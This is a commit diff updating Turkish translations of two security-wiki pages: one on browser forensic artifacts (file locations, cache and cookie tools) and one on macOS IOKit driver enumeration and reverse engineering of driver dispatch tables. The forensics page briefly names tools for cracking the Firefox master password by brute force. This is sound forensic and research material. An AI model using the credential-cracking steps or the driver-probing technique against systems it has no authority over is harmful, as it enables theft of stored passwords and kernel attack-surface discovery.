Translated ['generic-methodologies-and-resources/basic-forensic-methodol

This commit is contained in:
Translator 2024-07-19 10:16:39 +00:00
parent ae89997e98
commit 85dbc45d28
150 changed files with 6045 additions and 6859 deletions

View file

@ -1,15 +1,15 @@
# Tarayıcı Artifaktları
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -18,7 +18,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
@ -40,7 +40,7 @@ En yaygın tarayıcı artifaktlarının bir özeti:
* **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları.
* **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik doldurma önerileri için saklanır.
* **Küçük Resimler**: Web sitelerinin önizleme resimleri.
* **Özel Sözlük.txt**: Kullanıcı tarafından tarayıcının sözlüğüne eklenen kelimeler.
* **Özel Dictionary.txt**: Kullanıcı tarafından tarayıcının sözlüğüne eklenen kelimeler.
## Firefox
@ -70,10 +70,10 @@ Her profil klasöründe, birkaç önemli dosya bulabilirsiniz:
* **logins.json**: Şifrelenmiş giriş bilgileri.
* **key4.db** veya **key3.db**: Hassas bilgileri güvence altına almak için şifreleme anahtarlarını saklar.
Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` içinde `browser.safebrowsing` girişlerini arayarak güvenli tarama özelliklerinin etkin veya devre dışı olup olmadığını belirleyebilirsiniz.
Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` içinde `browser.safebrowsing` girişlerini arayarak güvenli tarama özelliklerinin etkinleştirilip etkinleştirilmediğini kontrol edebilirsiniz.
Ana şifreyi çözmeye çalışmak için [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) kullanabilirsiniz.\
Aşağıdaki betik ve çağrı ile bir şifre dosyasını zorlamak için belirtebilirsiniz:
Aşağıdaki betik ve çağrı ile bir şifre dosyasını brute force yapmak için belirtebilirsiniz:
{% code title="brute.sh" %}
```bash
@ -116,7 +116,7 @@ Bu dizinler içinde, çoğu kullanıcı verisi **Default/** veya **ChromeDefault
## **SQLite DB Veri Kurtarma**
Önceki bölümlerde gözlemleyebileceğiniz gibi, hem Chrome hem de Firefox verileri saklamak için **SQLite** veritabanları kullanır. **Silinmiş girişleri kurtarmak için** [**sqlparse**](https://github.com/padfoot999/sqlparse) **veya** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **aracını kullanmak mümkündür.**
Önceki bölümlerde gözlemleyebileceğiniz gibi, hem Chrome hem de Firefox verileri saklamak için **SQLite** veritabanları kullanır. **Silinmiş girişleri kurtarmak için** [**sqlparse**](https://github.com/padfoot999/sqlparse) **veya** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) aracını kullanmak mümkündür.
## **Internet Explorer 11**
@ -124,15 +124,15 @@ Internet Explorer 11, verilerini ve meta verilerini çeşitli konumlarda yöneti
### Meta Veri Saklama
Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` içinde saklanır (VX V01, V16 veya V24 olabilir). Bununla birlikte, `V01.log` dosyası `WebcacheVX.data` ile değişiklik zamanı tutarsızlıklarını gösterebilir ve bu, `esentutl /r V01 /d` kullanarak onarım gerektirdiğini gösterir. Bu meta veriler, bir ESE veritabanında yer alır ve photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosunda, her veri segmentinin saklandığı belirli tablolar veya konteynerler, diğer Microsoft araçları için önbellek detayları da dahil olmak üzere, ayırt edilebilir.
Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` içinde saklanır (VX V01, V16 veya V24 olabilir). Bununla birlikte, `V01.log` dosyası, `WebcacheVX.data` ile değişiklik zamanı tutarsızlıklarını gösterebilir ve bu, `esentutl /r V01 /d` kullanarak onarım gerektirdiğini gösterir. Bu meta veriler, bir ESE veritabanında yer alır ve photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosunda, her veri segmentinin saklandığı belirli tablolar veya konteynerler, diğer Microsoft araçları için önbellek detayları da dahil olmak üzere, ayırt edilebilir.
### Önbellek İncelemesi
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) aracı, önbellek incelemesi için kullanılabilir ve önbellek verilerinin çıkarılacağı klasör konumunu gerektirir. Önbellek için meta veriler dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir.
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) aracı, önbellek incelemesi için kullanılabilir ve önbellek verilerinin çıkarılacağı klasör konumunu gerektirir. Önbellek için meta veriler, dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir.
### Çerez Yönetimi
Çerezler [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir ve meta veriler isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili detayları kapsar. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte bulunur.
Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir ve meta veriler isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili detayları kapsar. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte bulunur.
### İndirme Detayları
@ -171,7 +171,7 @@ Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar ş
## Opera
Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde yer alır ve geçmiş ile indirmeler için Chrome'un formatını paylaşır.
Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde yer alır ve geçmiş ve indirmeler için Chrome'un formatını paylaşır.
* **Tarayıcının yerleşik anti-phishing**: `Preferences` dosyasında `fraud_protection_enabled` değerinin `true` olarak ayarlandığını kontrol ederek doğrulayın.
@ -192,16 +192,17 @@ Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana AWS hacking öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **HackTricks'te şirketinizi tanıtmak** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) alın
* [**PEASS Ailesini**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* Hacking ipuçlarınızı [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
* **Hacking ipuçlarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.**
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# macOS IOKit
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>Support HackTricks</summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS ve HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **takip edin**.
* **Hacking püf noktalarınızı paylaşın, PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Temel Bilgiler
I/O Kit, XNU çekirdeğindeki açık kaynaklı, nesne yönelimli **aygıt sürücü çerçevesidir**, **dinamik olarak yüklenen aygıt sürücülerini** işler. Çeşitli donanımı destekleyen çekirdeğe modüler kodun anında eklenmesine izin verir.
I/O Kit, XNU çekirdeğindeık kaynaklı, nesne yönelimli **cihaz sürücüsü çerçevesidir** ve **dinamik olarak yüklenen cihaz sürücülerini** yönetir. Farklı donanımları destekleyerek çekirdeğe modüler kod eklenmesine olanak tanır.
IOKit sürücüleri temelde **çekirdekten fonksiyonlar ihraç eder**. Bu fonksiyon parametre **türleri önceden tanımlanmıştır** ve doğrulanır. Dahası, XPC gibi, IOKit sadece **Mach mesajlarının üzerinde başka bir katmandır**.
IOKit sürücüleri esasen **çekirdekten fonksiyonlar dışa aktarır**. Bu fonksiyon parametre **tipleri** **önceden tanımlıdır** ve doğrulanır. Ayrıca, XPC'ye benzer şekilde, IOKit sadece **Mach mesajlarının** üstünde başka bir katmandır.
**IOKit XNU çekirdek kodu**, Apple tarafından [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit) adresinde açık kaynak olarak yayınlanmıştır. Ayrıca, kullanıcı alanı IOKit bileşenleri de açık kaynaktır [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
**IOKit XNU çekirdek kodu**, Apple tarafından [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit) adresinde açık kaynak olarak yayınlanmıştır. Ayrıca, kullanıcı alanı IOKit bileşenleri de açık kaynaklıdır [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
Ancak, **hiçbir IOKit sürücüsü**ık kaynak değildir. Neyse ki, zaman zaman bir sürücünün sürümü, onu hata ayıklamayı kolaylaştıran sembollerle gelebilir. [**Firmware'den sürücü uzantılarını nasıl alacağınızı buradan öğrenin**](./#ipsw)**.**
Ancak, **hiçbir IOKit sürücüsü**ık kaynak değildir. Yine de, zaman zaman bir sürücü sürümü, hata ayıklamayı kolaylaştıran sembollerle birlikte gelebilir. [**Firmware'den sürücü uzantılarını nasıl alacağınızı buradan kontrol edin**](./#ipsw)**.**
**C++** dilinde yazılmıştır. Demangled C++ sembollerini alabilirsiniz:
**C++** ile yazılmıştır. Demangled C++ sembollerini almak için:
```bash
# Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver
@ -33,19 +36,19 @@ __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaq
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
{% hint style="danger" %}
IOKit **açık fonksiyonları**, bir istemcinin bir işlevi çağırmaya çalıştığında **ek güvenlik kontrolleri** gerçekleştirebilir ancak uygulamalar genellikle **IOKit fonksiyonlarıyla etkileşime girebilecekleri** **kum havuzu** tarafından **sınırlanır**.
IOKit **açık fonksiyonlar** bir istemcinin bir fonksiyonu çağırmaya çalıştığında **ek güvenlik kontrolleri** gerçekleştirebilir, ancak uygulamaların genellikle etkileşimde bulunabilecekleri IOKit fonksiyonlarıyla **sandbox** tarafından **sınırlı** olduğunu unutmayın.
{% endhint %}
## Sürücüler
macOS'ta şurada bulunurlar:
macOS'ta şunlarda bulunurlar:
* **`/System/Library/Extensions`**
* OS X işletim sistemi içine yerleştirilmiş KEXT dosyaları.
* OS X işletim sistemine entegre edilmiş KEXT dosyaları.
* **`/Library/Extensions`**
* 3. taraf yazılım tarafından yüklenen KEXT dosyaları
* Üçüncü taraf yazılımlar tarafından yüklenen KEXT dosyaları.
iOS'ta şurada bulunurlar:
iOS'ta şunlarda bulunurlar:
* **`/System/Library/Extensions`**
```bash
@ -65,48 +68,48 @@ Index Refs Address Size Wired Name (Version) UUID <Linked
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
Sayı 9'a kadar listelenen sürücüler **0 adresinde yüklenir**. Bu, bunların gerçek sürücüler olmadığı anlamına gelir ve **çekilemezler**.
9'a kadar listelenen sürücüler **0 adresinde yüklenmiştir**. Bu, bunların gerçek sürücüler olmadığı, ancak **çekirdek parçası oldukları ve boşaltılamayacakları** anlamına gelir.
Belirli uzantıları bulmak için şunu kullanabilirsiniz:
Belirli uzantıları bulmak için şunları kullanabilirsiniz:
```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
Kernel uzantılarını yüklemek ve kaldırmak için şunları yapın:
Kernel uzantılarını yüklemek ve kaldırmak için:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
```
## IORegistry
**IORegistry**, macOS ve iOS'taki IOKit çerçevesinin kritik bir parçasıdır ve sistem donanım konfigürasyonunu ve durumunu temsil etmek için bir veritabanı olarak hizmet verir. Tüm donanım ve sürücüleri temsil eden nesnelerin hiyerarşik bir koleksiyonudur ve birbirleriyle olan ilişkilerini gösterir.
**IORegistry**, macOS ve iOS'taki IOKit çerçevesinin önemli bir parçasıdır ve sistemin donanım yapılandırmasını ve durumunu temsil eden bir veritabanı olarak hizmet eder. Bu, sistemde yüklü olan tüm donanım ve sürücüleri temsil eden **hiyerarşik bir nesne koleksiyonudur** ve bunların birbirleriyle olan ilişkilerini gösterir.
IORegistry'yi **`ioreg`** komutunu kullanarak konsoldan inceleyebilirsiniz (özellikle iOS için kullanışlıdır).
IORegistry'yi, konsoldan incelemek için cli **`ioreg`** kullanarak alabilirsiniz (özellikle iOS için faydalıdır).
```bash
ioreg -l #List all
ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane
```
**`IORegistryExplorer`**'ı [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) adresinden **Xcode Ek Araçları**'ndan indirebilir ve **grafiksel** arayüz aracılığıyla **macOS IORegistry**'yi inceleyebilirsiniz.
**`IORegistryExplorer`**'ı **Xcode Ek Araçlar**'dan [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) adresinden indirebilir ve **macOS IORegistry**'ni **grafiksel** bir arayüz aracılığıyla inceleyebilirsiniz.
<figure><img src="../../../.gitbook/assets/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
IORegistryExplorer'da "planes" (düzlemler), IORegistry'deki farklı nesneler arasındaki ilişkileri düzenlemek ve göstermek için kullanılır. Her düzlem, sistem donanımının ve sürücü yapılandırmasının belirli bir görünümünü veya belirli bir ilişki türünü temsil eder. İşte IORegistryExplorer'da karşılaşabileceğiniz bazı yaygın düzlemler:
IORegistryExplorer'da, "düzlemler" IORegistry'deki farklı nesneler arasındaki ilişkileri düzenlemek ve görüntülemek için kullanılır. Her düzlem, belirli bir ilişki türünü veya sistemin donanım ve sürücü yapılandırmasının belirli bir görünümünü temsil eder. IORegistryExplorer'da karşılaşabileceğiniz bazı yaygın düzlemler şunlardır:
1. **IOService Düzlemi**: Bu en genel düzlemdir, sürücüleri ve nub'ları (sürücüler arasındaki iletişim kanalları) temsil eden hizmet nesnelerini gösterir. Bu nesneler arasındaki sağlayıcı-müşteri ilişkilerini gösterir.
2. **IODeviceTree Düzlemi**: Bu düzlem, cihazların sistemdeki bağlantılarını temsil eder. USB veya PCI gibi otobüsler aracılığıyla bağlanan cihazların hiyerarşisini görselleştirmek için sıkça kullanılır.
3. **IOPower Düzlemi**: Nesneleri ve ilişkilerini güç yönetimi açısından gösterir. Diğer nesnelerin güç durumunu etkileyen nesneleri gösterebilir, güçle ilgili sorunları gidermek için faydalıdır.
4. **IOUSB Düzlemi**: Özellikle USB cihazlarına ve ilişkilerine odaklanır, USB hub'larının ve bağlı cihazların hiyerarşisini gösterir.
5. **IOAudio Düzlemi**: Bu düzlem, ses cihazlarını ve sistem içindeki ilişkilerini temsil etmek içindir.
1. **IOService Düzlemi**: Bu, sürücüleri ve nubs'ları (sürücüler arasındaki iletişim kanalları) temsil eden hizmet nesnelerini görüntüleyen en genel düzlemdir. Bu nesneler arasındaki sağlayıcı-müşteri ilişkilerini gösterir.
2. **IODeviceTree Düzlemi**: Bu düzlem, cihazların sisteme bağlı olduğu fiziksel bağlantıları temsil eder. Genellikle USB veya PCI gibi bus'lar aracılığıyla bağlı cihazların hiyerarşisini görselleştirmek için kullanılır.
3. **IOPower Düzlemi**: Güç yönetimi açısından nesneleri ve bunların ilişkilerini görüntüler. Diğerlerinin güç durumunu etkileyen nesneleri gösterebilir, güçle ilgili sorunları gidermek için yararlıdır.
4. **IOUSB Düzlemi**: Özellikle USB cihazları ve bunların ilişkilerine odaklanır, USB hub'larının ve bağlı cihazların hiyerarşisini gösterir.
5. **IOAudio Düzlemi**: Bu düzlem, ses cihazlarını ve bunların sistem içindeki ilişkilerini temsil etmek içindir.
6. ...
## Sürücü İletişim Kod Örneği
## Sürücü İletişim Kodu Örneği
Aşağıdaki kod, `"YourServiceNameHere"` adlı IOKit hizmetine bağlanır ve seçici 0 içindeki işlevi çağırır. Bunun için:
Aşağıdaki kod, IOKit hizmetine `"YourServiceNameHere"` bağlanır ve seçici 0 içindeki fonksiyonu çağırır. Bunun için:
* İlk olarak **`IOServiceMatching`** ve **`IOServiceGetMatchingServices`**'i çağırarak hizmeti alır.
* Ardından **`IOServiceOpen`** çağırarak bir bağlantı kurar.
* Ve son olarak **`IOConnectCallScalarMethod`** ile seçici 0'ı (seçici, çağırmak istediğiniz işlevin atandığı numaradır) belirterek bir işlevi çağırır.
* Öncelikle **`IOServiceMatching`** ve **`IOServiceGetMatchingServices`** çağrılarak hizmet alınır.
* Ardından **`IOServiceOpen`** çağrılarak bir bağlantı kurulur.
* Son olarak, seçici 0'ı belirterek **`IOConnectCallScalarMethod`** ile bir fonksiyon çağrılır (seçici, çağırmak istediğiniz fonksiyona atanan numaradır).
```objectivec
#import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h>
@ -161,19 +164,19 @@ IOObjectRelease(iter);
return 0;
}
```
**IOConnectCallScalarMethod** gibi IOKit işlevlerini çağırmak için kullanılabilecek **IOConnectCallMethod**, **IOConnectCallStructMethod** gibi **diğer** işlevler bulunmaktadır.
There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
## Sürücü giriş noktasını tersine çevirme
## Sürücü giriş noktasını tersine mühendislik
Bunları örneğin bir [**firmware görüntüsünden (ipsw)**](./#ipsw) elde edebilirsiniz. Daha sonra, favori dekompilerinize yükleyin.
Bunları örneğin bir [**firmware image (ipsw)**](./#ipsw) üzerinden elde edebilirsiniz. Ardından, bunu en sevdiğiniz dekompilerde yükleyin.
Doğru işlevi çağıran çağrıyı alan ve doğru işlevi çağıran sürücü işlevi olan **externalMethod** işlevini dekompilasyona başlayabilirsiniz:
**`externalMethod`** fonksiyonunu decompile etmeye başlayabilirsiniz çünkü bu, çağrıyı alacak ve doğru fonksiyonu çağıracak sürücü fonksiyonudur:
<figure><img src="../../../.gitbook/assets/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1169).png" alt=""><figcaption></figcaption></figure>
Bu korkunç çağrı, şunu ifade eder:
O korkunç çağrı demagled, şunları ifade eder:
{% code overflow="wrap" %}
```cpp
@ -181,7 +184,7 @@ IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArguments
```
{% endcode %}
Önceki tanımda **`self`** parametresinin eksik olduğuna dikkat edin, doğru tanım şu şekilde olmalıdır:
Önceki tanımda **`self`** parametresinin eksik olduğunu unutmayın, iyi bir tanım şöyle olmalıdır:
{% code overflow="wrap" %}
```cpp
@ -195,19 +198,19 @@ IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgu
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
```
Bu bilgiyle Ctrl+Right -> `Düzenle fonksiyon imzası` yeniden yazılabilir ve bilinen tipler ayarlanabilir:
Bu bilgiyle Ctrl+Right -> `Edit function signature` yazabilir ve bilinen türleri ayarlayabilirsiniz:
<figure><img src="../../../.gitbook/assets/image (1174).png" alt=""><figcaption></figcaption></figure>
Yeni decompile edilmiş kod şu şekilde görünecek:
Yeni decompile edilmiş kod şöyle görünecek:
<figure><img src="../../../.gitbook/assets/image (1175).png" alt=""><figcaption></figcaption></figure>
Bir sonraki adım için **`IOExternalMethodDispatch2022`** yapısının tanımlanmış olması gerekiyor. [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176) adresinde açık kaynaklıdır, şu şekilde tanımlayabilirsiniz:
Sonraki adımda **`IOExternalMethodDispatch2022`** yapısını tanımlamamız gerekiyor. Bu yapı [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176) adresinde açık kaynak olarak mevcuttur, bunu tanımlayabilirsiniz:
<figure><img src="../../../.gitbook/assets/image (1170).png" alt=""><figcaption></figcaption></figure>
Şimdi, `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` takip ederek birçok veri görebilirsiniz:
Şimdi, `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` ifadesinin ardından birçok veri görebilirsiniz:
<figure><img src="../../../.gitbook/assets/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
@ -219,14 +222,29 @@ değişiklikten sonra:
<figure><img src="../../../.gitbook/assets/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
Ve şimdi, içinde **7 elemanın bir dizisi** olduğunu biliyoruz (son decompile edilmiş kodu kontrol edin), 7 elemanlık bir dizi oluşturmak için tıklayın:
Ve şimdi orada **7 elemanlı bir dizi** olduğunu biliyoruz (son decompile edilmiş kodu kontrol edin), 7 elemanlı bir dizi oluşturmak için tıklayın:
<figure><img src="../../../.gitbook/assets/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
Dizi oluşturulduktan sonra tüm ihraç edilen fonksiyonları görebilirsiniz:
Dizi oluşturulduktan sonra, tüm dışa aktarılan fonksiyonları görebilirsiniz:
<figure><img src="../../../.gitbook/assets/image (1181).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Hatırlarsanız, kullanıcı alanından bir **ihraç edilen** fonksiyonu **çağırmak** için fonksiyonun adını değil, **seçici numarasını** çağırmamız gerekir. Burada, seçici **0**'ın **`initializeDecoder`** fonksiyonu, seçici **1**'in **`startDecoder`** fonksiyonu, seçici **2**'nin **`initializeEncoder`** fonksiyonu olduğunu görebilirsiniz...
Hatırlarsanız, kullanıcı alanından bir **dışa aktarılan** fonksiyonu **çağırmak** için fonksiyonun adını değil, **seçici numarasını** çağırmamız gerekiyor. Burada seçici **0** fonksiyonu **`initializeDecoder`**, seçici **1** **`startDecoder`**, seçici **2** **`initializeEncoder`** olduğunu görebilirsiniz...
{% endhint %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
